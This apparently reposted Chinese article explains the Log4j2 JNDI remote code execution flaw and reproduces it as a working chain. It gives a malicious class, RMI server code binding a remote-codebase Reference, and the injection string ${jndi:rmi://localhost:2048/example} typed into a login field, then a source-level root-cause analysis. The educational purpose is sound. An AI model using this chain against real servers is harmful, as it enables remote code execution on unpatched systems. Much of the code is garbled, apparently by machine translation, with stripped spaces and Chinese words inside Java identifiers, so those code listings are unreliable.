当前位置: 首页 > 科技观察

【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变

时间:2023-03-13 07:34:52 科技观察

[急]Log4j发布了新版本2.17.0。只有彻底了解RCE漏洞的成因,才能以不变应万变,Log4j正式发布2.15.0版本后不久,就发声明称2.15.0版本并没有彻底解决问题,并且随后继续发布2.16.0版本。每个人都认为2.16.0是最终版本。没想到过了好久,雷声大作,Log4j2.17.0诞生了。相信大家都在加班熬夜,紧急修复和纠正ApacheLog4j暴露出的安全漏洞。所有公司都瑟瑟发抖,连网警都通知了包括我在内的站长们。我也紧急发布了两个教程给你建议,我之前发布的教程仍然有效。【急】ApacheLog4j任意代码执行漏洞安全风险升级修复教程【急】继续折腾,Log4j又要发布2.16.0了,强烈建议升级虽然,大家按照教程一步一步快速解决问题步骤,但是很多朋友还是有很多疑惑,不知道为什么。在这里我给大家详细分析和复现Log4j2漏洞的原因,纯属学习之用。Log4j2漏洞一般通过JNDI注入恶意代码进行攻击。具体的操作方式有RMI和LDAP。JNDI介绍1.JNDI定义JNDI(JavaNamingandDirectoryInterface,Java命名和目录接口)是Java中提供命名和目录服务接口的API。JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中,Naming是指通过一个唯一的标识符将一个对象绑定到一个上下文Context中,同时通过唯一的标识符可以找到该对象identifier,而Directory主要是指将一个对象的属性绑定到Directory的contextDirContext中,同时可以通过name获取对象的属性,还可以对属性进行操作。2、JNDI架构Java应用程序通过JNDIAPI访问目录服务,JNDIAPI会调用NamingManager实例化JNDISPI,然后使用JNDISPI操作LDAP、DNS、RMI等命名或目录服务。JNDI已经实现目录服务器的内部操作API,例如LDAP、DNS、RMI等。其架构图如下:3.JNDI核心APIJava通过JNDIAPI调用服务。比如我们熟悉的odbc数据连接,就是通过JNDI调用数据源。下面这段代码大家应该不陌生:在Context.xml文件中,我们可以定义数据库驱动、url、账号密码等关键信息,其中name字段的内容是自定义的。下面使用InitialContext对象获取数据源Connectionconn=null;PreparedStatementps=null;ResultSetrs=null;try{Contextctx=newInitialContext();ObjectdatasourceRef=ctx.lookup("java:comp/env/jndi/person");//引用数据源DataSources=(Datasource)datasourceRef;conn=ds.getConnection();//省略部分代码...c.close();}catch(Exceptione){e.printStackTrace();}finally{if(conn!=null){try{conn.close();}catch(SQLExceptione){}}}你熟悉吗?JNDI的其他应用我这里就不介绍了。如果不知道JNDI/RMI/LDAP等,有相关概念的朋友请自行百度。攻击原理下面以RMI方式为例,详细说明复现步骤,分析原因。在讲解基本的攻击原理之前,我们先来看一张时序图:1.攻击者首先发布一个RMI服务,该服务会绑定一个引用类型的RMI对象。在引用的对象中指定包含恶意代码的远程类。例如:包含system.exit(1)等危险操作和恶意代码的下载地址。2.攻击者发布另一个恶意代码下载服务??,可以下载所有包含恶意代码的类。3、攻击者利用Log4j2的漏洞注入RMI调用,例如:logger.info("loginformation${jndi:rmi://rmi-service:port/example}")。4、调用RMI后,会得到引用类型的RMI远程对象,该对象会加载恶意代码并执行。漏洞复现1.创建恶意代码创建恶意代码相关类,以下代码仅供学习:packagecom.tom.example.log4j;publicclassHackedClassFactory{publicHackedClassFactory(){System.out.println("程序即将终止");System.exit(1);}}创建HackedClassFactory类的定义,在构造函数中写入终止程序运行的恶意代码。2.发布恶意代码将HackedClassFactory类打包成jar包发布到HTTP服务器,通过简单的Get请求即可正常下载。3、创建RMI服务编写如下代码并运行程序:util.Hashtable;importcom.sun.jndi.rmi.registry.ReferenceWrapper;publicclassHackedRmiService{publicstaticvoidmain(String[]args){try{intport=2048;//设置RMI服务远程监听端口//创建并发布RMI服务LocateRegistry.createRegistry(port);Hashtableenv=newHashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(上下文。PROVIDER_URL,"rmi://127.0.0.1"+":"+port);Contextcontext=newInitialContext(env);StringserviceName="example";StringserviceClassName="com.tom.example.log4j.HackedClassFactory";//指定恶意代码下载地址参考refer=newReference(serviceName,serviceClassName,"http://127.0.0.1/example/classes.jar");ReferenceWrapperwrapper=newReference包装纸(refer);//为RMI服务绑定一个引用类型的对象,这个对象可以被远程访问context.bind(serviceName,wrapper);}catch(Exceptione){e.printStackTrace();}}}RMI服务启动之后,监听端口为2048的RMI服务发布。运行netstat-ano|找到“2048”命令查看,得到如下结果,说明RMI服务已经正常启动,如下图:4.注入恶意代码接下来,我们利用Log4j漏洞注入恶意代码,有一个已知用户登录的业务场景。朋友们,不要关心它是如何实现的。代码如下:@RequestMapping(value="/login")publicResponseEntitylogin(StringloginName,StringloginPass){ResultMsgdata=memberService.login(loginName,loginPass);//Demo代码,省略业务逻辑,默认为loginsuccesslog.info("loginsuccess",loginName);Stringjson=JSON.toJSONString(data);returnResponseEntity.ok().contentType(MediaType.APPLICATION_JSON).body(json);}使用Postman测试,首先,正常访问可以得到预期的结果,如下图所示:用户登录成功后,会正常返回token,看似是常规操作。细心的小伙伴发现,登录成功后,后台会打印一条日志,输出登录的用户名。接下来,我做一个非常规操作。输入用户名${jndi:rmi://localhost:2048/example}发现程序没有响应。查看后台日志,已经终止。这只是示范效果。我写的恶意代码只是终止了程序。如果攻击者注入其他恶意代码,后果不堪设想。源码分析通过以上案例还原了攻击者利用Log4j漏洞攻击目标程序的完整过程。接下来分析Log4j的源码,了解根源。罪魁祸首是Log4j2的MessagePatternConverter组件中的format()方法。Log4j在记录日志时会间接调用该方法。具体源码如下:从源码中我们可以发现,该方法截取了$和{}之间的字符字符串,以该字符作为查找对象的条件。如果字符为jndi:rmi协议格式,则执行JNDI方式的RMI调用,从而触发原生RMI服务调用。具体调用位置是StrSubstitutor的substitute()方法:privateintsubstitute(LogEventevent,StringBuilderbuf,intoffset,intlength,ListpriorVariables){//这里省略部分代码...this.checkCyclicSubstitution(varName,(List)priorVariables);((List)priorVariables).add(varName);StringvarValue=this.resolveVariable(event,varName,buf,startPos,pos);if(varValue==null){varValue=varDefaultValue;}//这里省略部分代码。..}上面代码中的resolveVariable()最终会调用InitialContext的lookup()方法:.lookup(event,variableName);}通过断点调试,确实发现调用了RMI服务,如下图:恶意代码通过RMI加载后,会调用javax.naming的getObjectFactoryFromReference()方法.spi.NamingManager加载恶意代码,也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先,它会尝试在本地找到它。如果本地找不到,会通过远程地址加载,也就是我们发布的下载服务,即http://127.0.0.1/example/classes.jar。加载远程代码后,通过反射调用构造函数创建攻击类的实例,在构造函数中写入恶意代码,从而在受害者的程序中间接执行恶意代码。看到这里,小伙伴们有没有和SQL注入一样的感觉呢?风险条件该漏洞需要满足以下条件才能被攻击:1、首先使用存在漏洞的Logj4j2版本,即版本<=2.14.1。2、攻击者有机会注入恶意代码,例如系统中记录的日志信息没有经过任何特殊过滤。3、攻击者需要发布RMI远程服务和恶意代码下载服务??。4、受害者网络可以访问RMI服务和恶意代码下载服务??,即受害者服务器可以随意访问公网,或者在内网发布过类似的危险服务。5、受害者在JVM中使RMI/LDAP等协议的truseURLCodebase属性为真。以上就是我对Log4j2RCE漏洞的完整复现和根因分析。当然,最有效的方法是关闭Lookup相关功能。虽然官方也在紧急修复,但软件升级存在一定的风险,可能需要进行大量的反复测试工作。